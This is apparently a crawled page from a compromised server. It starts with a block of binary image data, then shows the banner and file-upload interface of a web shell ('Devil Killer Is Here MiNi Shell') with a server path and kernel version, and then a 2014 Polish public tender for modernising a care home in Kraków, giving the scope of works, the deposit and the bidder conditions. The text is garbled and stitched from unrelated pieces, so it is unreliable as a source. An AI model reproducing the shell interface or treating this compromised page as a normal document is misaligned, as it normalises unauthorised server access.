JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20140618/

Linux 9dbcd5f6333d 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20140618/131501-N-2014.html

<p class="kh_header"><b>Kraków: .  Modernizacja DPS w Krakowie, ul. Krakowska 55 - roboty budowlane II etap realizowanego w ramach Szwajcarsko-Polskiego Programu Współpracy, Obszar priorytetowy 4: Rozwój społeczny i zasobów ludzkich, Obszar tematyczny: ochrona zdrowia, wdrażanego w ramach projektu Pomocna dłoń pod bezpiecznym dachem</b><br>
<b>Numer ogłoszenia: 131501 - 2014; data zamieszczenia: 18.06.2014</b><br>
OGŁOSZENIE O ZAMÓWIENIU - roboty budowlane<br><br></p>

<p><b>Zamieszczanie ogłoszenia:</b> obowiązkowe.</p>
<p><b>Ogłoszenie dotyczy:</b> zamówienia publicznego.</p>

<p class="kh_title">SEKCJA I: ZAMAWIAJĄCY</p>

<p><b>I. 1) NAZWA I ADRES:</b> Dom Pomocy Społecznej , ul. Krakowska 55, 31-066 Kraków, woj. małopolskie, tel. 012 4306317, faks 012 4306212.</p>
<ul class="kh_indent_1">
<li><b>Adres strony internetowej zamawiającego:</b> http://www.dpskrakowska.krakow.pl</li></ul>
<p><b>I. 2) RODZAJ ZAMAWIAJĄCEGO:</b> Inny: Samodzielna jednostka organizacyjna Systemu Pomocy Społecznej Gminy Miejskiej Kraków..</p>

<p class="kh_title">SEKCJA II: PRZEDMIOT ZAMÓWIENIA</p>

<p><b>II.1) OKREŚLENIE PRZEDMIOTU ZAMÓWIENIA</b></p>
<p><b>II.1.1) Nazwa nadana zamówieniu przez zamawiającego:</b> .  Modernizacja DPS w Krakowie, ul. Krakowska 55 - roboty budowlane II etap realizowanego w ramach Szwajcarsko-Polskiego Programu Współpracy, Obszar priorytetowy 4: Rozwój społeczny i zasobów ludzkich, Obszar tematyczny: ochrona zdrowia, wdrażanego w ramach projektu Pomocna dłoń pod bezpiecznym dachem.</p>
<p><b>II.1.2) Rodzaj zamówienia:</b> roboty budowlane.</p>
<p><b>II.1.4) Określenie przedmiotu oraz wielkości lub zakresu zamówienia:</b> 1.	Przedmiotem zamówienia jest wykonanie  zadania pn. Modernizacja DPS w Krakowie, ul. Krakowska 55 - roboty budowlane II etap realizowanego w ramach Szwajcarsko-Polskiego Programu Współpracy, Obszar priorytetowy 4: Rozwój społeczny i zasobów ludzkich, Obszar tematyczny: ochrona zdrowia, wdrażanego w ramach projektu Pomocna dłoń pod bezpiecznym dachem.

Decyzją PINB nr 536/2013  zatwierdzono projekt budowlany i udzielono pozwolenia na wyknanie przebudowy istniejącego budynku, na cele statutowe  Domu Pomocy Społecznej w Krakowie  wraz z przebudową istniejących wewnętrznych instalacji, budową zewnętrznej windy dla osób niepełnosprawnych, termoizolacją, budową wewnętrznej windy osobowej i towarowej, przebudową części otworów otworów okiennych, budową klapy dymowej oraz wyburzeniem nadbudówki dachowej, na dz. Nr 54/7 obr. 216 Śródmieście przy ul. Adama Chmielowskiego 6 w Krakowie,

Działka wraz z istniejącym budynkiem leżą w strefie ochrony konserwatorskiej zespołu zabytkowego Miasta Krakowa uznanego za Pomnik historii. Budynek przy ul. A.Chmielowskiego 6 w Krakowie  nie jest wpisany do rejestru zabytków. Lokalizacja inwestycji znajduje się w obszarze układu urbanistycznego dawnego miasta Kazimierza ze Stradomiem, wpisanego do rejestru zabytków pod numerem A-12, decyzją z dnia 23 lutego 1934r. oraz w obszarze uznanym za pomnik historii Kraków - historyczny zespół miasta Zarządzeniem Prezydenta Rzeczpospolitej Polskiej z dnia 8.09.1994r.
Dla przedmiotowego budynku obowiązuje Pozwolenie nr 129/13 Małopolskiego Wojewódzkiego Konserwatora Zabytków na prowadzenie robót budowlanych przy zabytku z dnia 14 lutego 2013r. w którym zwraca się uwagę w pkt. III na konieczność zachowania i wyeksponowania, portalu, drzwi wejściowych oraz elementów wystroju elewacji. 

Zadanie pn. Modernizacja DPS w Krakowie, ul. Krakowska 55 - roboty budowlane II etap  polega na wykonaniu II etapu inwestycji w budynku przy ul. Adama Chmielowskiego 6 w Krakowie, objejmującego kondygnację II piętra, w celu uzyskania 15 wystandaryzowanych miejsc dla osób przewlekle psychicznie chorych wraz z łazinekami oraz uzyskaniem pozwolenia na ich użytkowanie.

Zakres robót etapu II:
1.	Wykonanie robót rozbiórkowych, wyburzeń, przebić, demontażem istniejącego wyposażenia pomieszczeń sanitarnych oraz widocznych elementów instalcji sanitarnej i elektrycznej.
2.	Roboty murowe związane z nowym podziałem pomieszczeń.
3.	Wymiana tynków wewnętrznych
4.	Wymiana stolarki okiennej i drzwiowej
5.	Wykonanie warstw podłogowych z izolacjami wraz z posadzkami
6.	Wykonanie fragmentów stropów przy szybie windowym na piętrze II do IV.
7.	Wykonanie sufitów podwieszanych
8.	Roboty wykończeniowe
9.	Modernizacja  instalacji sanitarnej i elektrycznej ( w tym wykonanie instalacji p.poż.)  oraz instalacji słaboprądowych
10.	Wentylacja kondygnacji II piętra  
11.	Uzyskanie pozwolenia na użytkowanie obiektu budowlanego.

Podstawowe informacje dotyczące robót rozbiórkowych, wyburzeń, robót murowych,warstw podłogowych:

Stropy międzykondygnacyjne: zakłada się pozostawienie istniejących stropów o konstrukcji gęstożebrowej, żelbetowej monolitycznej. Prace remontowe obejmują usunięcie warstw wierzchnich stropów do płyty żelbetowej. Od spodu należy zdjąć pozostawione drewniane szalunki oraz deski podbiciowe z tynkiem na matach trzcinowych. II etap inwestycji zakłada wykonanie fragmentów stropów  przy szybie windowym.na wyższych kondygnacjach tj. na piętrze II do IV.
Przebicia w stropach: w związku z planowanym nowym układem  wentylacji mechanicznej  oraz kanalizacji wykonane zostaną nowe otwory w stropach. Zakłada się otwory wyłącznie w płytach między żebrami, bez naruszania belek. Możliwość przewiertów dopuszcza się tylko w przypadku pojedynczych otworów o średnicy do O 150 mm.
Wyburzenia: zakłada się liczne wyburzenia. Wyburzenia ścian o większej niż 10 -14 cm grubości muszą być poprzedzone odkrywkami stropów.
Ściany nośne: stan techniczny oceniono jako dobry.W przypadku wykonywania nadproży należy ograniczyć użycie młotów wywołujących drgania. Uzupełnienia wykonać z cegły pełnej klasy 15 na zaprawie cemnetowo wapiennej M5.
Ściany wewnętrzne projektowane na kondygnacjach naziemnych ( parter, piętra): działowe pomiędzy pomieszczeniami mieszkalnymi z bloczków z betonu komórkowego. Izolacyjność akustyczna właściwa projektowanej ściany : RA1R 37,0dB. RA2R 34,0dB. Reakcja na ogień Klasa A1. Odporność ogniowa projektowanej ściany - EI 120. Ściana tynkowana tynkiem gipsowym obustronnie na siatce. 
Komunikacja pionowa:  w budynku zapewnia ją istniejąca , trzybiegowa , klatka schodowa , usytuowana w części centralnej budynku. 
Obok klatki schodowej zaprojektowano windę osobową. Winda osobowa obsługiwać będzie wszystkie kondygnacje budynku , łącznie z piwnicami.
W pierwszym etapie wykonano  szyb windy osobowej i towarowej. 

Stolarka okienna i drzwiowa

stolarka drzwiowa,
wewnętrzna: drzwi w strefie klatki schodowej -  ognioodporne w klasie EI 30  wykonano w I etapie. Drzwi wejściowe do pomieszczeń mieszkalnych -  jednoskrzydłowe, ,   płycinowe, częściowo przeszklone. Drzwi do pomieszczeń sanitarnychz otworami wentylacyjnymi o pow. netto 200 cm2 w dolnej części skrzydła. drzwi wewnętrzne do pomieszczeń gospodarczych - aluminiowe, ogniochronne o odporności EI 30 , o szerokości skrzydła 90 cm.  Drzwi wykonać według projektu stolarki.

Stolarka drzwiowa winna zostać dostosowana do już wbudowanej w I etapie.

stolarka okienna ,
okna i drzwi balkonowe: jednoramowe, drewaniane, zaszklone zestawami szklanymi , dwuszynowymi z wykorzystaniem szklenia typu (szkło bezpieczne), termoizolacyjnymi , o współczynniku k = 1,0, o podwyższonej izolacyjności akustycznej. Kwatery okienne zewnętrzne wykonane na wzór kwater istniejących, z odtworzeniem charakterystycznego podziału, w kolorze białym obustronnie. Skrzydła okien, oraz nawietrzaki okienne, wykorzystywane do przewietrzania pomieszczeń przeznaczonych na pobyt ludzi,  zaopatrzone w urządzenia pozwalające na łatwe ich otwieranie i regulowanie wielkości otwarcia z poziomu podłogi lub pomostu, także przez osoby niepełnosprawne.
okna klatki schodowej: wykonano w I etapie. 

Stolarka okienna winna zostać dostosowana do już wbudowanej w I etapie.

Roboty wykończeniowe 

podłogi i posadzki: 
w pomieszczeniach mieszkalnych - wykończenia wykładziną PCV, niepalną, z klasą ścieralności T, klasa antypoślizgowości R 10, z dostosowaniem kolorystyki i wzoru do wybranej w I-ym etapie;
w pomieszczeniach sanitarnych ( w tym łazienki, pokoje kąpielowe/pomieszczeniach tzw. mokrych) , komunikacji - antypoślizgowe płytki  o odpowiednich parametrach technicznych, z dostosowaniem kolorystyki i wzoru do wybranych w I-ym etapie;

ściany wewnętrzne:
tynki wewnętrzne - nowo wzniesione ściany i ścianki działowe na kondygnacji II piętra, tynkowane będą tynkami gipsowymi , nakładanymi agregatem. Brakujące tynki i ubytki tynku na ścianach istniejących uzupełnić należy tynkiem cementowo-wapiennym , zacieranym do wyrównania faktury z tynkiem istniejącym. W korytarzach szczególnie narażonych na uszkodzenia mechaniczne należy zastosować wzmacniany siatką tynk wewnętrzny ;
malowanie ścian wewnętrznych - korytarze oraz inne przestrzenie komunikacyjne malowane farbami umożliwiającymi czyszczenie zabrudzeń np. farby akrylowe (lub akrylowo - lateksowe). W pomieszczeniach mieszkalnych i innych malowanie farbami emulsyjnymi, w kolorystyce pastelowej w uzgodnieniu w uzgodnieniu z Zamawiającym;
dodatkowo zastosowanie odbojnic na ciągach komunikacyjnych, z dostosowaniem kolorystyki i wzoru do wybranej w I-ym etapie;
ściany w pomieszczeniach sanitarnych i tzw. mokrych filizowane do wysokości min. 2,0 m, z dostosowaniem kolorystyki i wzoru do wybranych w I-ym etapie;

sufity podwieszane: wykonanie na II piętrze  w pomieszczeniach mieszkalnych  , sanitarnych, magazynowych i komunikacji z wyjątkiem klatki schodowej. We wszystkich pomieszczeniach mieszkalnych i towarzyszących  projektuje się wykonanie sufitów podwieszonych z płyt gipsowo-kartonowych GKF i GKFI ( wodoodpornych i ognioodpornych) o grub. 2,5 cm ( 2x1,25 cm), podwieszonych pod stropami międzykondygnacyjnymi na systemowych wieszakach montażowych. Malowane farbami emulsyjnymi lub akrylowymi.

elementy ślusarskie:
Projektuje się wykoanie barierek i pochytów w istniejących  otworach okiennych o niskim poziomie parapetów, w celu zabezpieczenia przed wypadnięciem.

obróbki blacharskie
parapety zewnętrzne: wykonane z blachy stalowej grub 0,75 mm , arylowanej w kolorze ciemno szarym lub z blachy tytanowo-cynkowej. Należy zastosować systemowe kolce przeciw ptakom; z dostosowaniem kolorystyki i wzoru do wybranej w I-ym etapie;
parapety wewnętrzne: typowe, komorowe wykonane z twardego PCV z zewnętrzną warstwą renolitową, niepalne, z dostosowaniem kolorystyki i wzoru do wybranej w I-ym etapie;

Instalacje wewnętrzne 

instalacje elektryczne
a.	Zasilanie budynku w energię elektryczną - ujęto w I etapie.
b.	Projektowane instalacje  elektryczne realizowane w obszarze II piętra z niezbędnymi instalacjami p.poż. tj:
oświetlenia ogólnego i miejscowego,
oświetlenia nocnego i awaryjnego;
oświetlenia ewakuacyjnego (kierunkowego),
gniazd wtykowych 230 V dla celów ogólnych,
gniazd wtykowych 230 V dla urządzeń technologii,
przyzywowej,
obniżonego napięcia 24V,
ochronna i odgromowa,
telefoniczna,
sygnalizacji pożaru SAP 
telewizji TV-sat
Instalacje wykonywać zgodnie z PN-IEC60364. Zaprojektowano przewody YDYp w tynku. W stropie podwieszonym przewody YDY układane w korytkach. W pomieszczeniach wilgotnyvh i przejściowo wilgotnych stosować osprzęt szczelny. Dla ścian z suchych tynków stosować osprzęt specjalistyczny.
Instalacja wodociągowa: zasilana z istniejącej instalacji sieci miejskiej. Przyłącze oraz wodomierz zlokalizowane w kondygnacji piwnic.
instalacja ciepłej wody użytkowej: budynek zasilany jest poprzez istniejącą instalację ciepłej wody użytkowej z miejskiej sieci ciepłowniczej. 
Instalacja p.poż. prowadzona jest oddzielnym rurociągiem od instalacji wody zimnej przeznaczonej na cele socjalno-bytowe.  W budynku na każdej kondygnacji przewidziano pion hydrantowy O25 oraz dodatkowo zawór strażacki O 52.
Instalacja kanalizacji ogólnospławnej:budynek posiada istniejący przyłącz kanalizacji sanitarnej podłączanej do miejskiej sieci kanalizacyjnej ogólnospławnej.
Instalacja kanalizacji opadowej:budynek posiada istniejący przyłącz. Instalacja podłączona do miejskiej sieci kanalizacyjnej ogólnospławnej.
Instalacja c.o.: budynek zasilany jest poprzez istniejącą instalację centralnego ogrzewania z miejskiej sieci ciepłowniczej. Przyłącz budynku zlokalizowany od strony zachodniej na poziomie piwnic. Zaprojektowano instalację centralnego ogrzewania wodną, pompową, dwururową o parametrach zasilanie/powrót  80/60oC, z rozdziałem dolnym.  Instalacja c.o. jest wyprowadzona z rozdzielaczy w węźle cieplnym ( po stronie niskich parametrów), jest obiegiem wymuszonym poprzez pompę i jest zabezpieczona naczyniem wzbiorczym oraz zaworem bezpieczeństwa.

Ostateczny dobór wzorów i kolorów osprzętu elektrycznego, lamp, urządzeń sanitarnych w uzgodnieniu z Zamawiającym i z dostosowaniem kolorystyki oraz wzorów do wybranych w I-ym etapie.


Wentylacja kondygnacji II piętra: Z uwagi na uwzględnienie wykonania częściowo instalacji wentylacji w I etapie inwestycji, należy w II etapie wykonać kolejną część  wentylacji poprzez wykonanie orurowania oraz zastosowanie wspomagania mechanicznego za pomocą wentylatorów wyciągowych na każdym wyjściu z pomieszczenia.Rozwiazanie to jest kontynuacją zrealizowanej instalcji wentylacji kondygnacji parteru oraz I piętra. 

2.	Szczegółowy opis przedmiotu zamówienia zawarty jest w załączniku nr 8 do SIWZ, którego elementami są:
a.	Wielobranżowym projekcie budowlano-wykonawczym
Architektura,
Konstrukcja,
Instalacja wod.kan i c.w.u,
Instalaca wentylacji mechanicznej,
Instalacja c.o.,
Instalacja elektryczna,
Przedmiarach robót - branża:
Budowlana,
Instalacja sanitarna: instalacja wodna, instalacja kanalizacji, c.o., wentylacja,
Instalacja elektryczna,
c.	Specyfikacji Technicznej Wykonania i Odbioru Robót - branża:
Budowlana,
Sanitarna,
Elektryczna
d.	Decyzjach administracyjnych:
Decyzja PNB nr 536/2013,
Pozwolenie Konserwatora

W budynku przy ul. A.Chmielowskiego 6 w Krakowie trwają roboty związane z realizacją I etapu inwestycji. Wykonano wyprowadzenie instalacji na II piętro c.o., c.w.u., wod.kan, wentylacji , wod.kan. celem wykonania robót w  II etapie inwestycji. Wykonawawca wykonana tymczasowe, oddzielne wejście do budynku celem realizacji robót II etapu inwestycji..</p>

<p><b>II.1.6) Wspólny Słownik Zamówień (CPV):</b> 45.00.00.00-7, 45.11.11.00-0, 45.11.12.20-6, 45.26.25.00-6, 45.41.00.00-4, 45.44.21.00-8, 45.43.21.00-5, 45.42.10.00-4, 45.43.22.10-9, 45.33.24.00-7, 45.31.12.00-2.</p>
<p><b>II.1.7) Czy dopuszcza się złożenie oferty częściowej:</b> nie.</p>
<p><b>II.1.8) Czy dopuszcza się złożenie oferty wariantowej:</b> nie.</p><br>
<p><b>II.2) CZAS TRWANIA ZAMÓWIENIA LUB TERMIN WYKONANIA:</b> Zakończenie: 30.11.2014.</p>
<p class="kh_title">SEKCJA III: INFORMACJE O CHARAKTERZE PRAWNYM, EKONOMICZNYM, FINANSOWYM I TECHNICZNYM</p>

<p><b>III.1) WADIUM</b></p>
<p><b>Informacja na temat wadium:</b> 1.	Zamawiający żąda od Wykonawców wniesienia wadium.
2.	Kwota wadium wynosi 15 000,00 zł (słownie: pietnaście tysięcy złotych).
3.	Wadium wnosi się przed upływem terminu składania ofert tj. przed dniem 03.07.2014r.   godzina 12:00.
4.	Wadium może być wnoszone w następujących formach:
w pieniądzu wpłacone przelewem na podany niżej rachunek bankowy Zamawiającego: 97 1240 4722 1111 0000 4855 2446 w tytule przelewu należy wpisać: wadium do przetargu DPS/TG/pn/1/2014 -przy czym wniesienie wadium w pieniądzu za pomocą przelewu bankowego Zamawiający będzie uważał za skuteczne tylko wówczas, gdy bank prowadzący rachunek Zamawiającego potwierdzi, że otrzymał taki przelew przed upływem terminu składania ofert.
poręczeniach bankowych lub poręczeniach spółdzielczej kasy oszczędnościowokredytowej,z tym że poręczenie kasy jest zawsze poręczeniem pieniężnym
w gwarancjach bankowych,
w gwarancjach ubezpieczeniowych,
poręczeniach udzielanych przez podmioty, o których mowa w art. 6b ust. 5 pkt 2 ustawy z dnia 9 listopada 2000r. o utrzymaniu Polskiej Agencji Rozwoju Przedsiębiorczości (Dz. U. z 2007 r. nr 42, poz. 275, z 2008 r. nr 116, poz. 730 i 732, poz. 1505 oraz z 2010 r. nr 96, poz. 620).
5.	Wadium wniesione w formie gwarancji bankowej lub ubezpieczeniowej musi zawierać klauzule gwarantujące bezwarunkową wypłatę na rzecz Zamawiającego w przypadku wystąpienia okoliczności wymienionych w art. 46 ust. 4a i ust. 5 ustawy.
6.	Wadium w innej formie niż pieniądz należy złożyć łącznie z ofertą, może być w oddzielnej kopercie, która powinna zostać opisana : wadium do przetargu DPS/TG/pn/1/2014.
7.	Zamawiający zwróci wadium  zgodnie z atr. 45 ustawy Pzp.</p>
<p><b>III.2) ZALICZKI</b></p>
<p><b>III.3) WARUNKI UDZIAŁU W POSTĘPOWANIU ORAZ OPIS SPOSOBU DOKONYWANIA OCENY SPEŁNIANIA TYCH WARUNKÓW</b></p>
<ul class="kh_indent_1">
<li><p><b>III. 3.1) Uprawnienia do wykonywania określonej działalności lub czynności, jeżeli przepisy prawa nakładają obowiązek ich posiadania</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Zamawiający nie określił szczegółowo tego warunku. Warunek o którym mowa w art. 22 ust. 1 pkt 1 zostanie uznany za spełniony , jeżeli Wykonawca złoży oświadczenie na zał. nr 2 do siwz -  oświadczenie o spełnieniu warunków udziału w postępowaniu.Ocena spełniania przedstawionych warunków udziału w postępowaniu dokonywana będzie w formule spełnia - nie spełnia, w oparciu o dokumenty załączone do oferty, których wykaz zawiera punkt VII specyfikacji istotnych warunków zamówienia.</p>
</li></ul></li><li><p><b>III.3.2) Wiedza i doświadczenie</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Warunek udziału w postępowaniu o którym mowa w art. 22 ust 1 pkt 2 zostanie uznany za spełniony, gdy  Wykonawca wykaże się doświadczeniem w wykonaniu ( lub wykonywaniu - w przypadku świadczeń okresowych lub ciągłych)  w okresie ostatnich 5 lat przed upływem terminu składania ofert, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie, co najmniej 2-ch robót budowlanych odpowiadającym   swoim rodzajem i wartością robotom budowlanym stanowiącym przedmiot zamówienia. 
Za roboty budowlane  odpowiadające swoim rodzajem i wartością robotom budowlanym   stanowiącym przedmiot zamówienia uważa się  wykonanie robót budowlanych  polegających na budowie lub przebudowie obiektu  o kubaturzę co najmniej 1000 m3, z których każda obejmowała branże budowlaną, sanitarną i elektryczną  dla kubatury co najmniej 1000 m3  i o wartości nie mniejszej niż  500.000,00 zł brutto każda.
Ocena spełniania przedstawionych warunków udziału w postępowaniu dokonywana będzie w formule spełnia - nie spełnia, w oparciu o dokumenty załączone do oferty, których wykaz zawiera punkt VII specyfikacji istotnych warunków zamówienia.</p>
</li></ul></li><li><p><b>III.3.3) Potencjał techniczny</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Zamawiający nie określił szczegółowo tego warunku. Warunek o którym mowa w art. 22 ust. 1 pkt 3 zostanie uznany za spełniony , jeżeli Wykonawca złoży oświadczenie na zał. nr 2 do siwz - oświadczenie o spełnieniu warunków udziału w postępowaniu. Ocena spełniania przedstawionych warunków udziału w postępowaniu dokonywana będzie w formule spełnia - nie spełnia, w oparciu o dokumenty załączone do oferty, których wykaz zawiera punkt VII specyfikacji istotnych warunków zamówienia.</p>
</li></ul></li><li><p><b>III.3.4) Osoby zdolne do wykonania zamówienia</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Warunek o którym mowa w art. 22 ust. 1 pkt 3 zostanie uznany za spełniony , jeżeli Wykonawca wykaże, że dysponuje lub będzie dysponował do  realizacji przedmiotowego zamówienia osobami zdolnymi do wykonania zamówienia posiadającymi kwalifikacje zawodowe konieczne do realizacji zamówienia w rozumieniu ustawy z dnia 15 grudnia 2000r.o samorządach zawodowych architektów, inżynierów budownictwa oraz urbanistów ( Dz. U. z 2001r. Nr 5, poz.42 ze zmianami) , a w szczególności:
1.3.1. dysponuje lub będzie dysponował do realizacji przedmiotowego zamówienia osobą posiadającą   uprawnienia do kierowania robotami budowlanymi w specjalności  konstrukcyjno - budowlanej, która  będzie pełniła obowiązki kierownika  budowy, z minimum 5-letnim doświadczeniem na stanowisku kierownika budowy,
1.3.2. dysponuje lub będzie dysponował do realizacji przedmiotowego zamówienia osobą posiadającą  uprawnienia do kierowania robotami budowlanymi w specjalności instalacyjnej w zakresie instalacji wodociągowych i kanalizacyjnych, CO i wentylacyjnych oraz posiadającą co najmniej 2 letnie doświadczenie na stanowisku kierownika robót,
1.3.3. dysponuje lub będzie dysponował do realizacji przedmiotowego zamówienia osobą posiadającą  uprawnienia do kierowania robotami budowlanymi w specjalności  instalacyjnej sieci, instalacji i urządzeń elektrycznych i elektroenergetycznych bez ograniczeń oraz posiadającą co najmniej 2 letnie doświadczenia na stanowisku kierownika robót.

Kierownik budowy, kierownik robót sanitarnych, kierownik robót elektrycznych muszą przynależeć do  właściwej Izby Inżynierów Budownictwa.

Zamawiający, określając wymogi dla osoby w zakresie posiadanych uprawnień budowlanych, dopuszcza odpowiadające im uprawnienia budowlane, które zostały wydane na podstawie wcześniej obowiązujących przepisów oraz odpowiadające im uprawnienia wydane obywatelom państw Europejskiego Obszaru Gospodarczego oraz Konfederacji Szwajcarskiej, z zastrzeżeniem art. 12a oraz innych przepisów ustawy Prawo budowlane (Dz.U.2010. nr 243 poz. 1623 z póź. zm.) oraz ustawy o zasadach uznawania kwalifikacji zawodowych nabytych w państwach członkowskich Unii Europejskiej (Dz. U. z 2008r. Nr 63 poz. 394).
Ocena spełniania przedstawionych warunków udziału w postępowaniu dokonywana będzie w formule spełnia - nie spełnia, w oparciu o dokumenty załączone do oferty, których wykaz zawiera punkt VII specyfikacji istotnych warunków zamówienia.</p>
</li></ul></li><li><p><b>III.3.5) Sytuacja ekonomiczna i finansowa</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Warunek o którym mowa w art. 22 ust. 1 pkt 4 zostanie uznany za spełniony , jeżeli Wykonawca :
1.4.1.posiada środki finansowe lub zdolność kredytową w wysokości co najmniej 500 000,00 zł (pięćset tysięcy złotych ),
1.4.2.przedstawi opłaconą polisę , a w przypadku jej braku, innego dokumentu potwierdzającego, że Wykonawca jest ubezpieczony od odpowiedzialności cywilnej w zakresie prowadzonej działalności związanej z przedmiotem zamówienia z minimalną sumą gwarancyjną na jedno i wszystkie zdarzenia na wartość co najmniej 500 000,00zł.
Ocena spełniania przedstawionych warunków udziału w postępowaniu dokonywana będzie w formule spełnia - nie spełnia, w oparciu o dokumenty załączone do oferty, których wykaz zawiera punkt VII specyfikacji istotnych warunków zamówienia.</p>
</li></ul></li></ul>
<p><b>III.4) INFORMACJA O OŚWIADCZENIACH LUB DOKUMENTACH, JAKIE MAJĄ DOSTARCZYĆ WYKONAWCY W CELU POTWIERDZENIA SPEŁNIANIA WARUNKÓW UDZIAŁU W POSTĘPOWANIU ORAZ NIEPODLEGANIA WYKLUCZENIU NA PODSTAWIE ART. 24 UST. 1 USTAWY</b></p>
